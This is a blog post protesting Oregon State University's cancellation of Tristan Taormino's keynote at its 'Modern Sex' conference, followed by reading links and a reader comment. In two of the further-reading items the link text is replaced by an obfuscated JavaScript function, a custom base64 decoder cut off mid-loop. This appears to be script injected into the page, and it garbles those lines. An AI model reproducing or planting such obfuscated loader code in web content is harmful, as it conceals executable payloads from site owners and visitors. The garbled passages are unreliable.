By now you may have read about the scandal plaguing Oregon State University's upcoming "Modern Sex" conference. OSU had a hell of a lineup, including respected and accredited sexuality speakers and teachers from around the US and some of the foremost thinkers in emergent discussions on sex ed, feminist and female pornography, gender and identity in life and media, and much more. They had invited Tristan Taormino: sex educator, columnist, and adult filmmaker (best known for her groundbreaking pornographic sex ed series "Vivid Ed" that fuses real sex ed with couples learning and demonstrating real lessons).
UPDATE February 11: Tristan Taormino will now be speaking at OSU after all for an event organized by students - though sadly it is not scheduled as part of OSU's Modern Sex event. How unfortunate.
[END UPDATE}
At the last minute, OSU canceled Taormino's keynote, after the marketing materials had been made. They are citing two reasons, which are wrapped in OSU's either incomplete communication or hypocrisy. One is stating that the fees to Taormino were from funds that could not go to a "controversial speaker" (despite the fact that OSU hosted Ann Coulter with her post-9/11 travesty of a speech). The other reason they cite is the content of Tristan's work (allegedly unknown to them), despite the fact that it is impossible they could not have known, nor despite the fact that speakers still on the lineup do the same things Tristan was allegedly disqualified for. One is the winner of the 2010 Feminist Porn Awards.
OSU has severely damaged their reputation. It is not a scandal of taxpayer funds or an internal blame game. It is a scandal about female and queer sexuality, and our right to debate, examine and have access to the real-life issues about women and pornography.
Further reading - there are lots of links online, but I think these are the best summaries and updates:
* Tristan Taormino's post with verbatim communication with OSU on the matter. (puckerup.com)
* Examiner.com spells it out. (Examiner.com)
* The Sexademic explains why function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd
* Dr. Charlie Glickman, the "Modern Sex" replacement keynote, to-drop-tristan-taromino-is-about-sexual-shame/">describes his position and why he thinks OSU's reasoning is flawed. (charlieglickman.com)
* My original tinynibbles.com post (NSFW) about function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(nd
When Taormino spoke at my college, the University of North Carolina at Greensboro, and a conservative writer complained, the chancellor apologized in a move showing the same lack of internal communication. Claiming to have been unaware of the nature of her work, making false claims about what her work is – it was all there. This was prior to her work for Vivid, but she was already an amazing and informative speaker. Our chancellor even stated that Tristan’s videos were “illegal.” It was absurd.
Luckily, our students took matters into their own hands and raised the funds to bring Tristan back to speak a second time to a much larger, packed audience. I hope OSU’s students are equally as brave.
Why do you call out female and queer sexuality in the last paragraph? I admit I don’t know much about Tristan Taormino or the topic of her presentation, but this feels like a general attack on pornography rather than something specific.